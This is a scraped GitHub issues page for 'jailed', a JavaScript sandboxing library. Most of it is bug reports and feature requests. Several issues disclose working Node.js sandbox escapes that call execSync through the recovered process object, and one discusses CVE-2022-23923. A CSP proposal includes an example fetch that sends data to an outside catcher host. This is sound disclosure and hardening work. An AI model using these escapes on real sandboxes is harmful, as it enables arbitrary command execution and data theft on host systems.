Giter VIP home page Giter VIP logo

jailed's People

Contributors

asvd avatar codeclown avatar cristiano-belloni avatar florianb avatar fnogatz avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jailed's Issues

Console demo allows XMLHttpRequests to CORS-enabled servers

The console demo already monkey-patches over things like navigator and console, but not XMLHttpRequests. With the advent of CORS, this means sandboxed code can make requests to out-of-domain servers. For example:

x = new XMLHttpRequest(); x.open('GET', 'https://cors-test.appspot.com/test', false); x.send(); x.response;
> {"status": "ok"}

While the sandbox doesn't have access to any user data (as far as I can tell), it could allow an attacker to essentially create a botnet if sandboxed user code was shared with other users. Since the demo serves as an example of what to monkey-patch over in a plugin, XMLHttpRequest should be added to the list.

Sandbox Escape Bug in jailed with Node.js

  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
try{ 
    function stack() {
        new Error().stack;
	stack();
    }
    stack();
} catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
}

application.disconnect();

Sandbox can be escaped by calling error stack during maximum call stack error.
We can execute arbitrary shell code using process module.

Node dies with unhandled exception on jailed plugin syntax error

I'm using

pluginInstance = new jailed.DynamicPlugin(script, api)

and

pluginInstance.whenFailed(function() {
   // Handle plugin failing
 })

but, if script has a syntax error, the process dies with an unhandled exception:

SyntaxError: Unexpected token }
    at Object.exports.runInNewContext (vm.js:48:16)
    at executeJailed (/myDir/node_modules/jailed/lib/_pluginNode.js:194:12)
    at execute (/myDir/node_modules/jailed/lib/_pluginNode.js:143:5)
    at process.<anonymous> (/myDir/node_modules/jailed/lib/_pluginNode.js:36:9)
    at emitTwo (events.js:100:13)
    at process.emit (events.js:185:7)
    at handleMessage (internal/child_process.js:689:10)
    at Pipe.channel.onread (internal/child_process.js:440:11)

Is there a way to handle this without the process dying?

Please update the NPM repository with your latest changes

It appears the tarball that npm pulls when you do an "npm install jailed" is pulling an older version of your code which doesn't include the fix for issue #25. I'm trying to use jailed in an Electron environment and need this fix so that it will work. Could you please push up an updated tarball? I like your implementation - makes it easier to run Blockly code in an isolated and separate psuedo-sandbox.

Thanks . . .

Glenn

Jailed does not work with https in chrome

I'm not certain if this is a bug on chrome or a bug on you, but -- if you load your demo page here as https instead of http, then you get an error "Mixed Content: The page at 'https://asvd.github.io/jailed/lib/_frame.html' was loaded over HTTPS, but requested an insecure Worker script 'blob:null/74057946-5764-4cbe-8f84-32e392c3885f'. This request has been blocked; the content must be served over HTTPS.". It's likely a bug on chrome, but thought you should be aware, and might possibly want to implement some kind of workaround until chrome fixes it.

The process never exits.

Hi,

I am having this issue with jailed under node that the process never exist therefore onDisconnect never gets called.
This happens even with the sample code provided on github.

Here the code that I used:

var jailed = require('jailed' )
var code = `
    var api = {
        square: function(num, cb) {  
            cb(num*num);
        }
    }
    application.setInterface(api);
`

var plugin = new jailed.DynamicPlugin(code);
var start = function() {

    plugin.remote.square(2, reportResult);
}
var reportResult = function(result) {
    console.log("Result is: " + result);  
}
plugin.whenConnected(start);

Executing the above under node never exist and only shows "Result is: 4"

TypeError: Cannot read property 'name' of undefined

Hi I am relative new to node and trying out how to use jailed.

So I have started with the basic functionality with this script

//npm install jailed
var jailed = require('jailed');

var code = "application.remote.test('Hello!! Welcome to jailed');";

var api = {
test: function(config){
console.log(config);
}
}

var plugin = new jailed.DynamicPlugin(code, api);

But it is giving me a weird error

(process.release.name.search(/node|io.js/) !== -1));
^
TypeError: Cannot read property 'name' of undefined
at /Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:49:35
at isNode (/Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:42:9)
at Object. (/Users/anandk/delete/jailed/node_modules/jailed/lib/jailed.js:46:2)
at Module._compile (module.js:456:26)
at Object.Module._extensions..js (module.js:474:10)
at Module.load (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Module.require (module.js:364:17)
at require (module.js:380:17)
at Object. (/Users/anandk/delete/jailed/jail.js:2:14)

is there some problem with the latest release?

use callback in object

When I put a callback in a config object, it got deleted from the object.

Example:

var plugin = new jailed.Plugin(jsFile, {
    "test": function(config){
        console.log(config);
    }
});

When I jail this script:

application.remote.test(function(){
    // ...
});

It outputs [Function] it's ok

Now with this file

application.remote.test({
    "foo": "foo",
    "bar": function(){
        // ...
    }
});

It outputs { foo: 'foo' } bar is not exported

Plugin disconnects but nothing happens

Hi - i am still trying to get jailed up and running in the Electron-environment (Node 5.1.1, Chrome 47.0.2526.110, Electron 0.36.9) and feel i make no progress. I am using the following code from within my app for debugging purposes:

  var api = {
    alert: alert
  };

  var code = "application.remote.alert('Hello from the plugin!');";
  var plugin = new jailed.DynamicPlugin(code, api);

  plugin.whenConnected(function() {
    console.info('plugin connected..');
  });

  plugin.whenDisconnected(function() {
    console.info('plugin disconnected..');
  });

  plugin.whenFailed(function() {
    console.info('plugin failed..');
  });

This returns plugin disconnected.. which let me assume that the plugin code should be run. However, the alert is not being invoked as well as any Api-calls (i tried to pass variables as well, binding this).

A debugging attempt -- running the commands by hand from the console -- failed completely with an Uncaught TypeError: this._connect is not a function in jailed.js:612.

I really appreciate any hint. Thanks in advance - ๐Ÿฐ โ˜•

Why is the Web Worker inside an iframe?

Is there any documentation anywhere as to why the Web Worker is launched from inside an iframe, as opposed to just relying on the worker for isolation?

I understand defense-in-depth, but of course there's more to it than just "more layers", or else you'd have 3 or 10 nested iframes. Is there a specific reason to think someone could break out of a worker but run into trouble breaking out of the iframe? If anything frames seem easier to break out of than workers, what with its partial access to parent windows and heavily polluted, ever-growing global namespace.

Breaks on bundled apps

Hi @asvd!

I'm trying to get Jailed running client-side using a Browserify bundle. I'm getting the following error when I attempt to require('jailed'):

http://localhost:8000/_JailedSite.js: Failed to load resource: the server responded with a status of 404 (Not Found)

Jailed seems to make assumptions about my file structure which don't hold true on a bundled app.

Location

I'm looking for a way to share application window.location with plugin.

// plugin.js
application.remote.alert(application.remote.location.href);

How to accomplish that?

Potential issue with Jailed crashing tab in travis

https://travis-ci.org/dtracers/coursesketch/builds/121328585

I am creating chrome in travis (which for some reason has to run without sandbox) and as a result it sometimes crashes the chrome tab causing my build to fail.

I believe the problem is jailed because this is the only library I'm using in the tests that are crashing.

(and unfortunately this is the only real stack trace I have)

[INFO]   2) running test for /test/utilities/functions/baseExceptionTest.html?coverage=true
[INFO] childScriptTest.js
[INFO] 03:20:23.738 INFO - Executing: [get: http://localhost:9001/test/utilities/functions/childScriptTest.html?coverage=true])
[INFO] 03:20:29.082 WARN - Exception thrown
[INFO] org.openqa.selenium.WebDriverException: unknown error: session deleted because of page crash
[INFO] from tab crashed

Basic example doesn't work

Sorry if this is due to a lack-of-understanding on my part, but I can't get this to work. I'm running it locally, and I've tried it in Chrome and Safari on Mac.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="jailed.js"></script>
</head>
<body>
    <div id="content"></div>
    <script>
        var api = {
            alert: alert
        };

        var pluginCode = "application.setInterface({\n";
        pluginCode += "foo: function() {\n";
        pluginCode += " application.remote.alert('hi');\n";
        pluginCode += "}});"

        console.log(pluginCode);


        var plugin = new jailed.Plugin(pluginCode, api);

        plugin.remote.foo();
    </script>
<body>
</html>

Write code without application.remote

How can I write clean code without 'application.remote.'?
I don't want write like that:
var code = "application.remote.alert('Hello from the plugin!');";
I need this clean code:
var code = "alert('Hello from the plugin!');";
So can i write wihtout 'application.remote.' or can i add it in runtime?

Capture runtime exceptions in the jailed code

Hi,

How can the parent process can get notified if the jailed code throws an exception or fails executing its code? Something like:

function task(){
  foo()//foo is not defined
}

or

function task(){
  throw 'failed'
}

It happens to me that the process doesn't end if there isn't a timeout.

Thank you.

Sandbox Escape Bug in jailed with Node.js

  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
let ret = import("XXX");
ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 

application.disconnect();

Sandbox can be escaped by calling import function.
Also, we can execute arbitrary shell code using process module.

Make it work in webpack

Webpack's static analysis breaks jailed: it's probably because child_process is required dynamically.
Anyway, would it be possible to follow this to make it work in the browser?

Just adding:

browser: { fs: false, child_process: false } to the package.json would do the trick

Basic example doesn't work

Sorry if this is due to a lack-of-understanding on my part, but I can't get this to work. I'm running it locally, and I've tried it in Chrome and Safari on Mac.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="jailed.js"></script>
</head>
<body>
    <div id="content"></div>
    <script>
        var api = {
            alert: alert
        };

        var pluginCode = "application.setInterface({\n";
        pluginCode += "foo: function() {\n";
        pluginCode += " application.remote.alert('hi');\n";
        pluginCode += "}});"

        console.log(pluginCode);


        var plugin = new jailed.Plugin(pluginCode, api);

        plugin.remote.foo();
    </script>
<body>
</html>

Load external js file into plugin?

Is there a way to load an external javascript file into the plugin's context (either from the main page or from the plugin)? For example, if the plugin code depends on a date manipulation library, is there a function to load this as an external js file, or does it have to be baked into the plugin.js file?

Timeout feature?

First, thanks for making this, it's great.

What do you think about adding a timeout feature when making remote calls? For example:

plugin.remote.square(2, reportResult, {
  timeout: 2000,
  onTimeout: myTimeoutHandler
});

This would make guarding against untrusted code very convenient. Thoughts?

jailed doesn't work with http in Chrome, either.

Neither of the demos work for me in Mac/Chrome 47.0.2526.106 (64-bit).

Nothing happens when I click the buttons in the banner demo, and no text appears in the "console" in the other demo.

Both demos work for me in Safari.

Support promises on top of callbacks

Communication with child process is built on top of postMessage now, and that's why it doesn't support returning value. And we have to use that old-style callbacks to return value from function.

It would be much better to wrap that functions into promises to allow returning values as well as promises and all such things.

Example of current plugin code:

application.setInterface({
  getSomeValue: function (callback) {
     callback(123);
  },
  doAsyncJob: function (callback) {
     setTimeout(callback, 1000);
  }
});

What it could look like:

application.setInterface({
  getSomeValue: function (callback) {
     return 123; //return simple value from promise is ok
  },
  doAsyncJob: function () {
    return new Promise(function(resolve) {
     setTimeout(resolve, 1000);
    });
  }
});

And then you can call plugin code from your App so easy:

plugin.remote.doAsyncJob()
   .then(doSomethingElse);

Improve Jail Isolation via Content-Security-Policy

Would you be open to adding a Content-Security-Policy to the frame file?

My scenario is:

  1. A user writes a script that customizes the workflow of a form.
  2. These scripts can only do certain actions (functions that are exported into the sandbox).
  3. One of these actions will retrieve data from the form so decisions can be made based on the form data
  4. The user using the form is not necessarily the person who wrote the script. The script will be part of the configuration of the system mostly likely made by someone with elevated privileges (although not necessarily access to everything) while the script is executed when a normal user is using the application

My concern is if this elevated user has their credentials compromised the attacker could write a script that gathers all the data on the form and exfiltrates it to a 3rd party service. Data the compromised account may not normally have access to (but the regular users have access to).

I'm not sure to what extent this threat can be eliminated but it seems we can at least reduce the impact by telling the browser the script should not be able to contact 3rd party services via a content security policy.

I think the following policy should be fairly locked down:

// Default to allow nothing and just open up what we need
default-src 'none';

// Allows iframe to load worker via `blob:` URI
worker-src blob:;

// 'self' allows local scripts to be loaded (to get the JS files jailed needs)
// 'unsafe-eval' allows the jailed script to be evaled (in the jail of course)
script-src 'self' 'unsafe-eval'

This CSP needs to apply to the _frame.html file. Since this file is likely being served as static content modifying the HTTP header will vary depending on deployment environment. Therefore it seems best to add the CSP as a meta tag in the _frame.html file.

If this all sounds good I can create a PR that adds the following meta tag to the _frame.html file:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; worker-src blob:; script-src 'self' 'unsafe-eval'">

Without this meta tag if I run the following in the demo console my sensitive data is sent to the 3rd party server:

fetch('https://jailed.requestcatcher.com/test', { method: 'POST', body: 'sensitive data' })

With the CSP in place that fetch is denied since the connect policy is not provided and therefore uses the default-src which is set to none.

Before I created a PR I wanted to find out:

  1. Is providing a good CSP in scope for this project?
  2. Does the proposed CSP seem reasonable? I can imagine at some point in the future we might get someone requesting that their user-defined script be able to load fonts or something which the CSP would deny. But I suggest we wait to receive that feedback before opening up the CSP more or making it configurable.
  3. Are there other ways to exfiltrate data out provided to a user-defined script that this CSP does not cover?

Get data from a plugin

Hello,

I haven't found an answer from reading the doc, and couldn't get my hacks to work, so here's my question. Is it possible to send some data from a plugin to the application?

Here's my use case: I have a data set, and I want users to be able to run some JS to transform that set, then get it back and display it from my main application. Is that possible using jailed?

Thanks,
Adrian

support function declaration this

this code :

var res = 5;
function a(){ return this.res }
a();

should return 5 instead of undefined.

this code is working fine:

res = 5;
function a(){ return this.res }
a();

Sandbox Escape in jailed with Node.js

  • Jailed version: 0.3.1

  • Node version: 18.15.0

  • run-jailed.js

var jailed = require('jailed');
var api = {};
var plugin = new jailed.Plugin('./test_case.js', api);
  • test_case.js
try{
    setTimeout().ref();
} catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
}

application.disconnect();

Sandbox can be escaped by calling setTimeout().ref() function.
Also, we can execute arbitrary shell code using process module.

Passing interface with sub functions not working

I need to pass an object a larger context as an interface with sub properties, but the sub properties are undefined when accessed inside a jailed environment. I read through this issue #58 and tried implementing that but it didn't work for what I needed.

This is what I originally tried

const context = {
    log: function(x) {
        console.log(x);
    },
    JSON: {
        stringify: function(x) {
            return JSON.stringify(x);
        }
    }
}

var dp = new DynamicPlugin(myCode, context);

This didn't work and returned undefined for JSON and it's sub function. I tried implementing the callback solution in #58 but it had the same issue. Am I doing something wrong or Jailed not able to do this?

Exposing values from the app to the jailed worker.

do you know if it's possible to expose values or methods to the jailed plugin?

From what I'm understanding you can expose functions that the worker can execute 1 time and then pass information from the worker/plugin to the application.

I would like to do the opposite let the worker call a function to the application and the application returns a value or method that can be used on the code on the plugin side.

something like:

const api = {
   someFancyStuff: async () => {
     const response = await fetch(url, options);
     return response
  },
  output: () => {
    // do somehting with the ouput
}
}

new jailed.DynamicPlugin(code, api);

so far if I execute application.remote.someFancyStuff() the return value is undefined even if I'm just doing return 1

thank you.

Pass values to jailed code

I'm sure I'm missing something obvious, but how do I go about passing an object of key / value pairs to the jailed code?

For example, if I had something like:

{
  firstName: John,
  lastName: Doe
}

How would I go about accessing firstName and lastName within plugin.js? My original guess was that I'd add the object to the 2nd property of jailed.Plugin(pathToPlugin, { scope: { firstName: 'John', lastName: 'Doe' } }) but it didn't work.

I looked at the web-banner example in the repo, but the bad / good image names are hardcoded into plugin.js. I need those values to be dynamic.

Lazy loading jailed does not initialise in browser

Its quite difficult to use jailed in lazy loading system like require.js or systemJS at the moment.

A couple of problems:

  • The __jailed__path__ calculation doesn't get it right. It makes the assumption that the script is loaded synchronously. If the async or defer attrs is used on the script tag, or something like requirejs or systemJS is used, the base path will be wrong. This should be configurable somehow, maybe by taking the value if it already exists (var __jailed__path__ = __jailed__path__ || //...)
  • Since initWeb listens to window.onload, if you lazy load jailed, the initialisation never happens. document.readyState should be checked. For a simple implementation check doc-ready

Browserify-support

I would love to use this library but I'm using Browserify, which isn't supported properly at the moment. I'm interested in creating a pull request for support, but in order to do that I would need to know a bit more about how the code functions.

When I tried it, it attempted loading the _JailedSite.js file using a script-tag. I assume this is done inside the iframe to allow access to it..? With Browserify this doesn't work because Browserify combines all code into one file, and that's the only file served publicly.

Would it be possible to do this without loading an extra file? Probably it would mean having _JailedSite.js return a function which will then be executed when the iframe loads.

As you can see, I'm clueless here so it would be great if you could briefly outline the way this script works and we could go from there.

Cannot read property 'whenEmitted' of undefined

I'm trying to use the library in a vue.js project, and it seems that it keeps track of it's state in the Global this, which I think is what is creating this error somehow. If I break on the error, it shows this:

/**
     * Saves the provided function as a handler for the connection
     * success Whenable event
     * 
     * @param {Function} handler to be issued upon connection
     */
    DynamicPlugin.prototype.whenConnected = 
           Plugin.prototype.whenConnected = function(handler) {
        this._connect.whenEmitted(handler);
    }

Where this is the global this and has no property _connect.

Here is the trace

TypeError: Cannot read property 'whenEmitted' of undefined
    at DynamicPlugin.whenConnected.Plugin.whenConnected (jailed.js?c164:787)
    at eval (utils.js?a2b6:70)
    at new Promise (<anonymous>)
    at promisify (utils.js?a2b6:68)
    at _callee$ (evaluation.js?5b15:15)
    at tryCatch (runtime.js?96cf:45)
    at Generator.invoke [as _invoke] (runtime.js?96cf:274)
    at Generator.prototype.<computed> [as next] (runtime.js?96cf:97)
    at asyncGeneratorStep (asyncToGenerator.js?1da1:3)
    at _next (asyncToGenerator.js?1da1:25)

This is how I'm using it:

	const plugin = new jailed.DynamicPlugin(forCompile);
	plugin.whenFailed(x => console.log(x));
	await promisify(plugin.whenConnected);
	const result = await promisify(plugin.remote.evaluateAll);
	console.log(result);
	return { rows: result, evaluate: plugin.remote.evaluate };

CVE-2022-23923

I was recently notified by Github regarding CVE-2022-23923. The actual description of the issue is a bit odd so wanted to get clarification on its impact. It is described with:

All versions of package jailed are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

This seems to imply the issue is only present when a remote method named alert is exported to the jailed script. The issue seems to be imported from the Sync vulnerability database and that actually includes a POC of the vulnerability. My understanding of the POC leads me to believe the description of the vulnerability is not accurate. It feels like the person who wrote the description is not the same as the person who wrote the POC and the description writer did not understand the POC. The alert was just used to present the exfiltrated data for demonstration purposes and has nothing to do really with the vulnerability.

My understanding of the POC is it is a variation on the known vulnerability with jailed when running on Node.js and documented on the README. It is getting a Function constructor on an object provided by the main context from within the context created by Node.js's vm.runInNewContext. Then using that to eval code to get access to require via process.mainModule. From there it can do any number of things (in the POC's case it is reading from the filesystem).

What makes this POC different from #33 is that it is not using objects passed to the sandbox to get access to this function constructor but instead using this.constructor which I am thinking is the constructor for the global object that Node provides the new context? If this is correct I don't think the proposed fix to @gpascualg did in #37 would be sufficient as the Function constructor is not gained via one of the exposed objects passed to the new vm context.

I'm posting this issue hoping to get feedback from others to confirm my understand which is:

This is just a variation on #33 and therefore represents no more risk than was already documented in the README. jailed on Node.js continues to be broken (only now the proposed fix may be insufficient) but jailed on the web is still valid as it's isolation is handled entirely differently and the constructs used in the POC (process.mainModule and require) are not present for JS running in a web browser.

Can't catch STDERR

I've looked over some similar issues but they don't seem to solve the problem. If I enter illegal code (syntax error) to my code, on the server side I get ERROR: asdf is not defined. The problem is I have no idea where to catch this error. I've put try/catch blocks everywhere that I can (including in the functions provided in application.setInterface. Any ideas? Thanks

Tell Jailed to use a Specific iFrame declared in the HTML DOM?

Hi,

This is more or less a question, I'm wondering rather than creating a new iFrame every time a Jailed plugin is executed is it possible to use one that is already declared in the DOM? I noticed that every time this code executes an iFrame is created then removed from the DOM:

var program = new jailed.Plugin(host + "/" + filename, this.rpgcodeApi.api);
 program.whenConnected(function () {
    rpgtoolkit.craftyPlayer.disableControl();
 });
 program.whenDisconnected(function () {
    rpgtoolkit.craftyPlayer.enableControl();
 });

By the way I'm using Jailed to execute custom user programs in a Javascript game engine. It is working fine so far but creating iFrames is a bit of a performance overhead for me, since accessing the DOM is an expensive operation.

It is an awesome library by the way.

Debugging child process

I've encountered a problem while debugging app using jailed in WebStorm.
If i run the app in debug mode I get EADDRINUSE.

However I found that adding '--debug' to execArgv on line 205 of jailed.js
not only prevents the issue from occurring but also allows for debugging of plugin code.

It would be great if this argument could be added only while the app is debugged.

unable to find application object

I am trying to use jailed in a demo app. I can not figure out where the application object is defined. I keep getting application not defined when I write application.setInterface(api);

Node.js sandbox is broken

start.js file:

var jailed = require('../../../lib/jailed.js');
var api = {};
var plugin = new jailed.Plugin(__dirname + '/plugin.js', api);

plugin.js file:

var require = application.whenConnected.constructor('return process.mainModule.require')();
// do anything with true "require" here

Add setting for "fallback to iframe jailing only" functionality, and timeout value

The file lib/_frame.js contains this code:

    // mixed content warning in Chrome silently skips worker
    // initialization without exception, handling this with timeout
    var fallbackTimeout = setTimeout(function() {
        worker.terminate();
        initIframePlugin();
    }, 300);

    // forwarding messages between the worker and parent window
    worker.addEventListener('message', function(m) {
        if (m.data.type == 'initialized') {
            clearTimeout(fallbackTimeout);
        }
        [...]
    });

So it tries to run the user-script in a web-worker (within the sandboxed iframe), and if it fails (ie. if "initialized" message is not received within 300ms), then it tries again without the web-worker jail layer.

That's understandable. However, it would be nice if the library let you choose whether to:

  1. Try to use iframe+web-worker, but fallback to iframe-only if web-worker fails. (current functionality)
  2. Try to use iframe+web-worker, and throw error if web-worker fails.
  3. Always only use iframe.

Furthermore, it would be nice if one could customize the timeout-length for determining if the web-worker layer failed. Why?

Because the default value of 300ms is too small sometimes! When I ran user-scripts within jailed five times, it worked as expected four times (with the web-worker layer initializing within the 300ms), but one of the five times, it took too long for the web-worker to initialize, and so jailed got rid of the web-worker layer (despite the context in fact supporting web-workers, as seen from the non-fallback-activated calls).

This means that:

  1. The web-worker security layer was avoided for one of the calls, despite this not being necessary. (This makes usage unpredictable. For example, it changed an error from ReferenceError: alert is not defined to VM4703:4 Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set., which then failed to show up in my regular error-catching-and-displaying system.)
  2. In rare cases, it's possible this could result in a user-script partially-running more than once. (if there is a slight delay in the "initialized" message being received, that tells the main process to cancel the fallback timer)

Anyway, these issue would be resolved by adding a setting for the three fallback functionalities above, as well as a setting to customize the fallback-timer duration.

Release version 0.2.1

Hi! It's been more than a year since a release was tagged, and I guess that means what's available on npm is not up-to-date? So, would it be possible to tag a new release?

Thanks,
Adrian

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.